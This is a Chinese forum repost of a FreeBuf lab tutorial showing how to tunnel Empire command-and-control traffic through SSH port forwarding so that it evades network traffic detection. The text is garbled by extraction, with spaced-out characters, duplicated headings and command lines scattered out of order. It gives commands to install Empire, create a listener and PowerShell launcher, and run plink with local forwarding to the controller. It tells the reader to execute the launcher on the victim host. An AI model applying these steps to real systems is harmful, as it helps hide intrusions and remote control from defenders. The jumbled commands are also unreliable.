搜索

[14367] 2019-07-19_利用SSH隧道加密、隐蔽C&C通信流量

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-07-19_利用SSH隧道加密、隐蔽C&C通信流量 利 用 S S H 隧 道 加 密 、 隐 蔽 C & C 通 信 流 量 m u m u f e n g 0 6   F r e e B u f   2 0 1 9 - 0 7 - 1 9 一 、 背 景 简 介 一 、 背 景 简 介 在 网 络 攻 防 博 弈 中 ， 网 络 流 量 特 征 分 析 类 安 全 防 御 措 施 得 到 了 广 泛 应 用 。 众 多 厂 商 和 企 业 对 网 络 流 量 进 行 恶 意 在 网 络 攻 防 博 弈 中 ， 网 络 流 量 特 征 分 析 类 安 全 防 御 措 施 得 到 了 广 泛 应 用 。 众 多 厂 商 和 企 业 对 网 络 流 量 进 行 恶 意 流 量 分 析 检 测 ， 从 而 针 对 性 的 采 取 防 御 措 施 ， 如 各 级 流 量 分 析 检 测 ， 从 而 针 对 性 的 采 取 防 御 措 施 ， 如 各 级 I S P 在 骨 干 网 络 设 备 上 大 多 采 用 网 络 流 量 分 析 检 测 的 防 御 在 骨 干 网 络 设 备 上 大 多 采 用 网 络 流 量 分 析 检 测 的 防 御 方 案 。 方 案 。 本 文 想 通 过 标 准 的 S S H 的 端 口 转 发 建 立 S S H 形 式 的 加 密 隧 道 ， 用 于 加 密 、 隐 蔽 传 输 恶 意 流 量 ， 从 而 避 免 通 过 流 量 检 测 发 现 恶 意 行 为 。 复 现 实 验 部 分 以 C & C 通 信 流 量 为 例 进 入 实 验 。 通 过 S S H 隧 道 进 行 加 密 和 隐 藏 的 C & C 流 量 在 外 部 流 量 特 征 分 析 仅 表 现 为 标 准 S S H 流 量 。 二 、 实 验 原 理 二 、 实 验 原 理 本 次 实 验 使 用 E m p i r e 工 具 快 速 搭 建 C & C 信 道 ， 本 文 只 简 要 介 绍 对 于 E m p i r e 工 具 。 在 W i n d o w s 平 台 下 使 用 P l i n k . e x e 工 具 的 S S H 功 能 搭 建 S S H 隧 道 。 2 . 1   S S H 隧 道 介 绍 隧 道 介 绍 S S H   会 自 动 加 密 和 解 密 所 有   S S H   客 户 端 与 服 务 端 之 间 的 网 络 数 据 。 但 是 ，   S S H   还 能 够 将 其 他   T C P   端 口 的 网 络 数 据 通 过   S S H   链 接 来 转 发 ， 并 且 自 动 提 供 了 相 应 的 加 密 及 解 密 服 务 。 这 一 过 程 也 被 叫 做 “ 隧 道 ” （   t u n n e l i n g ） ， 这 是 因 为   S S H   为 其 他   T C P   链 接 提 供 了 一 个 安 全 的 通 道 来 进 行 传 输 而 得 名 。 S S H 隧 道 的 实 现 主 要 使 用 S S H 的 参 数 配 置 进 行 端 口 转 发 ， 即 将 所 需 传 输 的 数 据 内 容 通 过 加 密 的 S S H 隧 道 进 行 转 发 。 S S H   端 口 转 发 能 够 提 供 两 大 功 能 ： 1 、 加 密   S S H C l i e n t   端 至   S S H   S e r v e r   端 之 间 的 通 讯 数 据 。 2 、 突 破 防 火 墙 的 限 制 完 成 一 些 之 前 无 法 建 立 的   T C P   连 接 。 由 于 S S H 的 安 全 性 ， 在 数 据 跨 越 公 网 时 其 他 人 无 法 得 知 数 据 内 容 。 S S H 端 口 转 发 有 本 地 转 发 、 远 程 转 发 和 动 态 端   口 转 发 三 种 。 本 次 实 验 主 要 以 本 地 转 发 为 例 。 本 地 转 发 主 要 使 用 S S H 的   - L 参 数 解 释 ： ( 1 )   第 1 部 分 ， - L 选 项 表 示 使 用 “ 本 地 转 发 ” 建 立 s s h 隧 道 。 “ 本 地 转 发 ” 表 示 本 地 的 某 个 端 口 上 的 通 讯 数 据 会 被 转 发 到 目 标 主 机 的 对 应 端 口 。
( 2 )   第 2 部 分 表 示 ： 通 讯 数 据 会 从 本 地 的 9 9 0 6 端 口 上 被 转 发 ， 最 终 被 转 发 到 1 0 . 1 . 0 . 2 的 3 3 0 6 端 口 。     ( 3 )   第 3 部 分 表 示 ： 我 们 创 建 的 s s h 隧 道 是 连 接 到 1 0 . 1 . 0 . 2 上 的 r o o t 用 户 。 2 . 2   E m p i r e 工 具 简 介 工 具 简 介 E m p i r e 是 一 个 针 对 w i n d o w s 平 台 、 提 供 从 S t a g e r 生 成 到 提 取 和 渗 透 维 持 一 系 列 功 能 齐 全 的 渗 透 攻 击 框 架 ， 其 最   大 的 特 点 是 以 P o w e r S h e l l 脚 本 作 为 攻 击 载 荷 ， 而 且 E m p i r e 实 现 了 无 需 p o w e r s h e l l . e x e 就 可 运 行 P o w e r S h e l l 代 理 功   能 ， 即 它 是 一 个 纯 粹 的 P o w e r S h e l l 后 期 漏 洞 利 用 代 理 工 具 。 快 速 部 署 后 期 漏 洞 利 用 模 块 ， 内 置 模 块 有 键 盘 记 录 、   M i m i k a t z 、 绕 过 U A C 、 内 网 扫 描 等 等 ， 并 且 能 够 适 应 通 信 躲 避 网 络 检 测 和 大 部 分 安 全 防 护 工 具 的 查 杀 ， 简 单 来 说   E m p i r e 类 似 于 渗 透 神 器 M e t a s p l o i t ， 是 一 个 基 于 P o w e r S h e l l 的 远 程 控 制 木 马 。 2 . 2   E m p i r e 工 具 安 装 工 具 安 装 在 实 验 虚 拟 l i n u x 系 统 中 安 装 安 装 成 功 后 ， 确 认 E m p i r e 目 录 下 所 有 文 件 ( 目 录 ) 如 下 图 ： 使 用   . / e m p i r e   启 动 E m p i r e 如 下 图 ， 则 成 功 安 装 。 三 、 实 验 步 骤 三 、 实 验 步 骤 实 验 说 明 ： 使 用 两 台 虚 拟 机 u b u n t u 1 6     +     w i n d o w s   7 ， 其 中 u b u n t u 1 6 模 拟 控 制 端 ， w i n d o w s   7 模 拟 受 控 主 机 。 3 . 1   在 在 u b u n t u 系 统 上 搭 建 系 统 上 搭 建 S S H 服 务 端 服 务 端 ( 1 )   安 装 O p e n - S S H   S e r v e r 端   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / E m p i r e P r o j e c t / E m p i r e . g i t   # 进 入 s e t u p 目 录 进 行 命 令 行 安 装 c d   E m p i r e c d   s e t u p s u d o   . / i n s t a l l . s h s u d o   a p t - g e t   i n s t a l l   o p e n s s h - s e r v e r
( 2 )   配 置 S S H   S e r v e r 端 编 辑 / e t c / s s h / s s h d _ c o n f i g 文 件 中 允 许 口 令 登 录 P e r m i t R o o t L o g i n 配 置 如 下 图 ： ( 3 )   测 试 S S H 登 录 是 否 成 功 查 看 本 机 I P （ l i n u x 命 令 ： i f c o n f i g ） , 如 在 w i n d o w s 下 的 X S h e l l 工 具 下 输 入 S e r v e r   I P   输 入 登 录 名 和 密 码 ， 成 功 登 入 系 统 则 S S H   S e r v e r 端 搭 建 成 功 。 注 ： 需 要 重 启 s s h d 服 务 ： / e t c / i n i t . d / s s h   r e s a r ( 4 )   配 置 R S A 密 钥 对 认 证 登 录 a )   生 成 r s a 密 钥 对 b )   开 启 s s h d 支 持 R S A 认 证 选 项 ， 并 添 加 认 证 公 钥 路 径 地 址 c )   编 辑 / e t c / s s h / s s h d _ c o n f i g 文 件 中 的 P u b k e y A u t h e n t i c a t i o n 选 项 配 置 为 y e s ， 即 ： d )   复 制 公 钥 到 某 用 户 h o m e 目 录 下 的 . s s h 文 件 夹 下 ， 注 必 须 使 用 以 下 命 令 在 受 控 主 机 ( 本 次 实 验 使 用 w i n   7 进 行 模 拟 ) 进 行 复 制 ， 否 则 文 件 权 限 设 置 易 出 错 。 e )   使 用 私 钥 进 行 登 录 s s h 登 录 注 ： 使 用 p u t t y 、 w i n s c p 等 工 具 时 需 要 先 使 用 对 应 平 台 工 具 进 行 r s a 私 钥 导 入 后 转 化 为 相 对 应 文 件 格 式 ， 如 本 次 实 验 使 用 p u t t y 工 具 导 入 生 成 私 钥 文 件 s s h r s a . p p k 。 3 . 2   使 用 使 用 E m p i r e 工 具 生 成 工 具 生 成 P o w e r S h e l l 脚 本 备 用 脚 本 备 用 E m p i r e 工 具 类 似 M e t a s p l o i t ， 详 细 使 用 教 程 可 参 考 一 篇 文 章 精 通 P o w e r S h e l l   E m p i r e 。 本 次 实 验 使 用 E m p i r e 生 成 简 单 的 P o w e r S h e l l 脚 本 ， 建 立 最 简 单 的 C & C 通 信 。 下 面 简 单 概 括 主 要 步 骤 。 ( 1 )   设 置 监 听 s s h - k e y g e n   - t   r s a s s h - c o p y - i d   - i   i d _ r s a . p u b   主 机 登 录 用 户 名 @ 1 9 2 . 1 6 8 . 8 1 . 1 3 7 s s h   - i   私 钥 路 径   主 机 登 录 用 户 名 @ 1 9 2 . 1 6 8 . 8 1 . 1 3 7 l i s t e n e r s   # 进 入 的 界 面 下 可 输 入 l i s t 查 看 以 设 置 的 监 听 u s e l i s t e n e r   h t t p   # 输 入   i n f o 查 看 必 填 参 数 s e t   N a m e   4 4 4 4   # 本 次 实 验 通 过 S S H 隧 道 通 信 ， 因 此 设 置 监 听 1 2 7 . 0 . 0 . 1 : 4 4 4 4 s e t   P o r t   4 4 4 4
示 例 如 下 ： ( 2 )   生 成 简 单 的 P o w e r S h e l l 利 用 脚 本 ( 针 对 w i n d o w s ) 注 ： 生 成 的 P o w e r s h e l l 代 码 直 接 复 制 并 保 存 ， 以 备 在 受 控 w i n d o w s 主 机 ( w i n 7 、 w i n 1 0 ) 执 行 。 3 . 3   搭 建 搭 建 S S H 隧 道 隧 道 ( 1 )   w i n d o w s 下 使 用 P l i n k . e x e ( p u t t y 工 具 集 中 可 以 在 w i n d o w s 系 统 下 使 用 命 令 行 进 行 S S H 连 接 ) 连 接 S S H S e r v e r ( 2 )   P l i n k 相 关 参 数 - s s h   指 定 使 用 特 定 连 接 协 议 - l   指 定 登 录 用 户 名 - i   指 定 R S A 私 钥 登 录 - L   本 地 转 发 ( 3 )   P l i n k 端 口 转 发 设 计 将 本 地 端 口 （ 4 4 4 4 ） 转 发 到 远 程 目 标 主 机 （ 1 9 2 . 1 6 8 . 8 1 . 1 3 7 ） 的 目 标 端 口 ( 4 4 4 4 ） 。 注 意 ： 以 上 命 令 执 行 成 功 后 ， 需 要 保 持 命 令 行 不 要 关 闭 。 同 时 可 以 组 合 使 用 S S H 的 其 他 参 数 进 行 后 台 运 行 、 不 交 互 等 。 ( 4 )   使 用 ( 2 ) 中 生 成 的 P o w e r S h e l l 脚 本 ， 使 受 控 主 机 上 线 a )   w i n d o w s   7 虚 拟 机 另 外 开 启 一 个 C M D 窗 口 ， 复 制 P o w e r S h e l l 脚 本 执 行 。 可 以 看 到 受 控 主 机 以 上 线 。 5 )   u b u n t u 端 切 换 到 a g e n t s 界 面 ， l i s t 命 令 查 看 如 图 ： s e t   P o r t   4 4 4 4 s e t   H o s t   1 2 7 . 0 . 0 . 1 e x e c u t e   # 创 建 命 为 4 4 4 4 的 监 听 ， 监 听 1 2 7 . 0 . 0 . 1 : 4 4 4 4 上 通 信 数 据 l a u n c h e r   p o w e r s h e l l   4 4 4 4   #   4 4 4 4 为 设 置 的 监 听 名 字 # 可 进 入 t a g e r s 生 成 其 他 木 马 、 远 控 程 序 ， 本 次 实 验 直 接 生 成 最 简 单 P o w e r S h e l l 利 用 脚 本 # 需 要 首 先 进 入 P l i n k . e x e 文 件 所 在 路 径 P l i n k . e x e   - s s h   - l   登 录 用 户 名   - p w   登 录 密 码   S S H 主 机 I P p l i n k . e x e   - s s h   - i   s s h r s a . p p k   a m 0 0 n @ 1 9 2 . 1 6 8 . 8 1 . 1 3 7   - L   4 4 4 4 : 1 9 2 . 1 6 8 . 8 1 . 1 3 7 : 4 4 4 4
6 )   通 过 i n t e r a c t 命 令 则 可 以 使 用 以 建 立 的 控 制 信 道 控 制 受 控 主 机 ， 如 通 过 简 单 的 l s 命 令 测 试 成 功 如 下 图 ： 7 )   至 此 以 成 功 使 用 S S H 隧 道 传 输 C & C 通 信 流 量 ， 后 续 可 在 此 基 础 上 设 计 实 现 其 他 C & C 控 制 命 令 及 其 它 恶 意 功 能 。 四 、 总 结 四 、 总 结 通 过 本 次 实 验 可 以 看 出 ， 攻 击 者 可 以 利 用 类 似 S S H 的 公 共 服 务 或 可 用 技 术 辅 助 攻 击 ， 且 其 实 现 也 非 常 容 易 。 关 键 步 骤 总 结 关 键 步 骤 总 结 ： ( 1 )   搭 建 S S H 服 务 ， 并 配 置 为 R S A 私 钥 登 录 ( 也 可 以 配 置 为 免 密 登 录 ) 。 ( 2 )   使 用 工 具 ( 如 E m p i r e 、 M e t a s p l o i t 等 ) 构 建 C & C 。 ( 3 )   利 用 S S H 的 端 口 转 发 搭 建 S S H 隧 道 。 ( 4 )   配 置 C & C 和 S S H 参 数 使 二 者 配 合 实 现 加 密 、 隐 藏 恶 意 流 量 的 目 的 。 本 文 思 想 源 于 本 文 思 想 源 于 F r e e B u f 大 神 大 神 " 興 趣 使 然 的 小 胃 興 趣 使 然 的 小 胃 " ， 特 此 感 谢 。 ， 特 此 感 谢 。 * 本 文 作 者 ： 本 文 作 者 ： m u m u f e n g 0 6 ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理